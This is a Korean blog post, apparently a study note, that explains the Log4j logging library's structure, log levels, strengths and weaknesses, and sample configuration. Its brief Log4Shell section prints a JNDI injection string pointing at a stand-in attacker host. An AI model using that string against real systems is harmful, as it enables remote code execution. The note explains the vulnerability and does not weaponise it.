yebin0322
2025. 1. 20. 16:06
반응형
Log4j
- JAVA 기반의 로깅 라이브러리
- 애플리케이션에서 로그 메세지를 기록하고 관리하는 데 사용됨
- 로그를 자동으로 출력해주는 오픈소스 라이브러리
- 다양한 로깅 레벨을 지원하여 개발자가 로그의 중요도에 따라 메세지를 필터링하고 기록할 수 있도록 도움
- 로그 레벨을 통해 개발자는 로그의 양과 중요도를 조절할 수 있음
- 필요에 따라 특정 레벨 이상의 로그만 기록하도록 설정할 수 있음
구조
- Logger
- 로그 메세지를 기록하는 주체
- 애플리케이션의 특정 부분에서 로그를 생성하는 역할을 함
- 출력할 메세지를 Appender에 전달
- 로그레벨을 설정할 수 있고, 0개 이상의 Appender를 지정할 수 있음
- 일반적으로 패키지나 클래스 이름을 사용하여 구분
- 계층 구조를 가지고 있어서 상위 logger의 설정이 하위 logger에 영향을 미칠 수 있음
- Appender
- 로그 메세지를 실제로 출력하는 역할
- 로그 메세지를 출력하는 형식과 위치를 설정할 수 있음(콘솔 출력, 파일 기록, DB 저장 등)
- Logger와 연결되어 있으며, Logger가 발생시킨 로그 메세지를 수집하여 지정된 장소에 전달
- Layout
- 로그 메세지의 형식을 정의하는 컴포넌트(로그를 어떤 형식으로 출력할지 결정)
ex)
<configuration>
<appender name="ConsoleAppender" class="org.apache.log4j.ConsoleAppender"> <!-- Appender -->
<layout class="org.apache.log4j.PatternLayout"> <!-- Layout -->
<param name="ConversionPattern" value="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</layout>
</appender>
<logger name="com.example.MyClass"> <!-- Logger -->
<level value="DEBUG"/>
</logger>
<root> <!-- Root Logger -->
<level value="INFO"/>
<appender-ref ref="ConsoleAppender"/>
</root>
</configuration>
- Logger : 이름은 com.example.MyClass이며, DEBUG 수준의 로그 메세지를 기록함
- Appender : 이름은 ConsoleAppender이며, 내부에 layout 포함
- Layout : PatternLayout이 사용. ConversionPattern 파라미터를 통해 로그 메세지의 형식을 지정
- %d{yyyy-MM-dd HH:mm:ss} : 로그가 기록된 날짜와 시간을 지정된 형식으로 출력
- %-5p : 로그 레벨을 5자리로 맞춰 출력(남는 공간은 공백으로)
- %c{1} : 로그를 기록한 클래스의 이름 출력. 최상위 패키지만 출력(패키지 구조에서의 마지막 한 단계만)
- %m : 로그 메세지를 출력
- %n : 줄 바꿈을 추가
- Root Logger : 모든 로거의 최상위 계층으로, 하위 로거들이 상속받는 기본 설정 제공. INFO 수준 이상의 로그 메세지를 기록하며, ConsoleAppender라는 이름의 Appender를 통해 콘솔에 출력
Log4j 레벨
- 아래에서부터 오름차순으로 레벨을 가짐
- 출력 레벨 설정에 따라 설정 레벨 이상의 로그가 출력됨(예를 들어 레벨 설정이 WARN이면 WARN, ERROR, FATAL만 출력됨)
Log Level | Description |
---|---|
OFF | 로그를 끔 |
FATAL | 치명적인 오류 메세지를 기록. 애플리케이션이 더 이상 실행될 수 없는 심각한 상황을 나타냄 |
ERROR | 오류 메세지를 기록. 애플리케이션의 기능이 실패했음을 나타내며, 문제를 해결해야 할 필요가 있음 |
WARN | 경고 메세지를 기록. 문제가 발생할 가능성이 있는 상황을 나타내지만, 애플리케이션이 계속 실행될 수 있는 경우임 |
INFO | 일반적인 정보 메세지를 기록. 애플리케이션의 정상적인 동작을 나타내는 메세지 |
DEBUG | 디버깅에 유용한 정보를 기록. 애플리케이션의 흐름을 이해하는 데 도움이 됨 |
TRACE | 가장 낮은 레벨. 매우 상세한 정보를 나타내며, 주로 개발 및 디버깅 목적으로 사용됨 |
ALL | 모든 로그를 보여줌 |
장점
- 유연성 : 다양한 Appender, Layout, Logger를 통해 사용자 요구에 맞게 로그 출력을 조정할 수 있음
- 구성 용이성 : XML 또는 properties 파일을 통해 설정할 수 있어, 로그 수준이나 출력 형식을 쉽게 변경할 수 있음
- 계층적 로깅 : Logger 간의 계층 구조를 통해 모듈별로 로그 수준을 설정할 수 있어 세부적인 로깅 관리가 가능
- 성능 : 비동기 로그 기록(로그 기록이 메인 애플리케이션 스레드와 분리되어 있음)을 지원하여 성능 저하가 없음
- 다양한 출력 형식 : 콘솔, 파일, DB 등 다양한 출력 대상을 지원하여 로그를 적절한 곳에 저장할 수 있음
단점
- 구성 파일 복잡성 : 복잡한 애플리케이션에서는 설정 파일이 복잡해질 수 있으며, 이로 인해 관리가 어려워질 수 있음
- 버전 호환성 : Log4j의 여러 버전이 존재하며, 라이브러리를 업데이트할 때 호환성 문제가 발생할 수 있음
- 보안 취약점 : Log4Shell
https://namu.wiki/w/Log4j%20%EB%B3%B4%EC%95%88%20%EC%B7%A8%EC%95%BD%EC%A0%90%20%EC%82%AC%ED%83%9C
Log4Shell
- Log4j에서 발견된 큰 보안 문제
- 이 문제점을 통해 해커는 다른 사람의 컴퓨터에서 악성 코드를 실행할 수 있음
- JNDI(Java Naming and Directory Interface) 조회 기능을 악용하여 공격자가 악성 코드를 실행할 수 있게 함
- 작동 방식
- JNDI 조회 : Log4j는 로그 메세지에서 JNDI를 통해 외부 리소스를 조회할 수 있는 기능을 제공함
- 공격 벡터 : 공격자는 로그 메세지에 다음과 같은 형식의 문자열을 삽입이 문자열이 로그에 기록되면 Log4j는 이를 처리하기 위해 JNDI 조회를 수행
- 코드 실행 : Log4j가 JNDI를 통해 외부 서버에 접근하게 되면, 공격자가 제어하는 서버에서 악성 코드를 다운로드하고 실행할 수 있음(공격자의 완전한 시스템 장악)
- `${jndi:ldap://attacker.com/a}' //데이터베이스 연결, JMS(자바 메시징 서비스) 등을 사용할 때 외부 서버에 접근하기 위해 제공되는 명령어
사용법
1. 설정 파일
<!-- Maven -->
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
//Gradle
implementation group: 'log4j', name: 'log4j', version: '1.2.17'
2. properties 설정
# 루트 로거 설정
# 최상위 로그 레벨을 DEBUG로 설정, consoleAppender, fileAppender, sql로 로그를 출력
log4j.rootLogger=DEBUG, consoleAppender, fileAppender, sql
# 콘솔 출력 설정
# 콘솔에 로그를 출력하기 위한 Appender 설정
log4j.appender.consoleAppender=org.apache.log4j.ConsoleAppender
# 출력할 로그 레벨 설정
log4j.appender.consoleAppender.Threshold=DEBUG
# 로그 메세지의 형식을 정의
log4j.appender.consoleAppender.layout=org.apache.log4j.PatternLayout
# 로그 메세지의 출력 형식을 지정
log4j.appender.consoleAppender.layout.ConversionPattern=[%d] [%-5p] %c %x - %m%n
# 파일 출력 설정
# 파일에 로그를 기록하기 위한 Appender 설정
log4j.appender.fileAppender=org.apache.log4j.DailyRollingFileAppender
# 로그 파일의 경로 지정
log4j.appender.fileAppender.File=c:/log/log4j.log
# 로그 파일이 날짜별로 생성되도록 설정
log4j.appender.fileAppender.DatePattern='.'yyyy-MM-dd
# 출력할 로그 레벨 설정
log4j.appender.fileAppender.Threshold=All
# 로그 메세지의 형식 정의
log4j.appender.fileAppender.layout=org.apache.log4j.PatternLayout
# 로그 메세지의 출력 형식 지정
log4j.appender.fileAppender.layout.ConversionPattern=[%d] [%-5p] [%13F\:%L] - %m%n
반응형